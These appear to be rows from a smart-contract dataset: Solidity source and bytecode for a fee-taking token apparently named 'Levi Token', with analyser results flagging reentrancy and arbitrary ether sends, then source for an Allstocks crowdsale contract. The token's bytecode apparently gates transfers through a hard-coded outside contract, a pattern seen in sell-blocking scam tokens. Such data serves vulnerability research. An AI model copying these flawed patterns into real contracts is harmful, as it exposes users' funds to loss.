return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600a81526020017f4c65766920546f6b656e00000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c45564900000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220768e04269f291996074136b5f841e7934efc6e074538671b06375693cb0221cd64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 326 |
0xf21edc87a7c56355802d78009a1498be090f7840 | pragma solidity 0.4.23;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function mint(address _to, uint256 _amount) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
require(owner == msg.sender);
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title AllstocksCrowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract AllstocksCrowdsale is Owned {
using SafeMath for uint256;
// The token being sold
//ERC20Interface public token;
address public token;
// Address where funds are collected
address public ethFundDeposit;
// How many token units a buyer gets per wei // starts with 625 Allstocks tokens per 1 ETH
uint256 public tokenExchangeRate = 625;
// 25m hard cap
uint256 public tokenCreationCap = 25 * (10**6) * 10**18; // 25m maximum;
//2.5m softcap
uint256 public tokenCreationMin = 25 * (10**5) * 10**18; // 2.5m minimum
// Amount of wei raised
uint256 public _raised = 0;
// switched to true in after setup
bool public isActive = false;
//start time
uint256 public fundingStartTime = 0;
//end time
uint256 public fundingEndTime = 0;
// switched to true in operational state
bool public isFinalized = false;
//refund list - will hold a list of all contributers
mapping(address => uint256) public refunds;
/**
* Event for token Allocate logging
* @param allocator for the tokens
* @param beneficiary who got the tokens
* @param amount amount of tokens purchased
*/
event TokenAllocated(address indexed allocator, address indexed beneficiary, uint256 amount);
event LogRefund(address indexed _to, uint256 _value);
constructor() public {
tokenExchangeRate = 625;
}
function setup (uint256 _fundingStartTime, uint256 _fundingEndTime, address _token) onlyOwner external {
require (isActive == false);
require (isFinalized == false);
require (msg.sender == owner); // locks finalize to the ultimate ETH owner
require(_fundingStartTime > 0);
require(_fundingEndTime > 0 && _fundingEndTime > _fundingStartTime);
require(_token != address(0));
isFinalized = false; // controls pre through crowdsale state
isActive = true; // set sale status to be true
ethFundDeposit = owner; // set ETH wallet owner
fundingStartTime = _fundingStartTime;
fundingEndTime = _fundingEndTime;
//set token
token = _token;
}
/// @dev send funding to safe wallet if minimum is reached
function vaultFunds() public onlyOwner {
require(msg.sender == owner); // Allstocks double chack
require(_raised >= tokenCreationMin); // have to sell minimum to move to operational
ethFundDeposit.transfer(address(this).balance); // send the eth to Allstocks
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender, msg.value);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary, uint256 _value) internal {
_preValidatePurchase(_beneficiary, _value);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(_value);
// update state
uint256 checkedSupply = _raised.add(tokens);
//check that we are not over cap
require(checkedSupply <= tokenCreationCap);
_raised = checkedSupply;
bool mined = ERC20Interface(token).mint(_beneficiary, tokens);
require(mined);
//add sent eth to refunds list
refunds[_beneficiary] = _value.add(refunds[_beneficiary]); // safeAdd
emit TokenAllocated(this, _beneficiary, tokens); // log it
//forward funds to deposite only in minimum was reached
if(_raised >= tokenCreationMin) {
_forwardFunds();
}
}
// @dev method for manageing bonus phases
function setRate(uint256 _value) external onlyOwner {
require (isActive == true);
require(msg.sender == owner); // Allstocks double check owner
// Range is set between 500 to 625, based on the bonus program stated in whitepaper.
// Upper range is set to 1500 (x3 times margin based on ETH price) .
require (_value >= 500 && _value <= 1500);
tokenExchangeRate = _value;
}
// @dev method for allocate tokens to beneficiary account
function allocate(address _beneficiary, uint256 _value) public onlyOwner returns (bool success) {
require (isActive == true); // sale have to be active
require (_value > 0); // value must be greater then 0
require (msg.sender == owner); // Allstocks double chack
require(_beneficiary != address(0)); // none empty address
uint256 checkedSupply = _raised.add(_value);
require(checkedSupply <= tokenCreationCap); //check that we dont over cap
_raised = checkedSupply;
bool sent = ERC20Interface(token).mint(_beneficiary, _value); // mint using ERC20 interface
require(sent);
emit TokenAllocated(this, _beneficiary, _value); // log it
return true;
}
//claim back token ownership
function transferTokenOwnership(address _newTokenOwner) public onlyOwner {
require(_newTokenOwner != address(0));
require(owner == msg.sender);
Owned(token).transferOwnership(_newTokenOwner);
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign.
function refund() external {
require (isFinalized == false); // prevents refund if operational
require (isActive == true); // only if sale is active
require (now > fundingEndTime); // prevents refund until sale period is over
require(_raised < tokenCreationMin); // no refunds if we sold enough
require(msg.sender != owner); // Allstocks not entitled to a refund
//get contribution amount in eth
uint256 ethValRefund = refunds[msg.sender];
//refund should be greater then zero
require(ethValRefund > 0);
//zero sender refund balance
refunds[msg.sender] = 0;
//check user balance
uint256 allstocksVal = ERC20Interface(token).balanceOf(msg.sender);
//substruct from total raised - please notice main assumption is that tokens are not tradeble at this stage.
_raised = _raised.sub(allstocksVal); // extra safe
//send eth back to user
msg.sender.transfer(ethValRefund); // if you're using a contract; make sure it works with .send gas limits
emit LogRefund(msg.sender, ethValRefund); // log it
}
/// @dev Ends the funding period and sends the ETH home
function finalize() external onlyOwner {
require (isFinalized == false);
require(msg.sender == owner); // Allstocks double chack
require(_raised >= tokenCreationMin); // have to sell minimum to move to operational
require(_raised > 0);
if (now < fundingEndTime) { //if try to close before end time, check that we reach max cap
require(_raised >= tokenCreationCap);
}
else
require(now >= fundingEndTime); //allow finilize only after time ends
//transfer token ownership back to original owner
transferTokenOwnership(owner);
// move to operational
isFinalized = true;
vaultFunds(); // send the eth to Allstocks
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) view internal {
require(now >= fundingStartTime);
require(now < fundingEndTime);
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(tokenExchangeRate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
ethFundDeposit.transfer(msg.value);
}
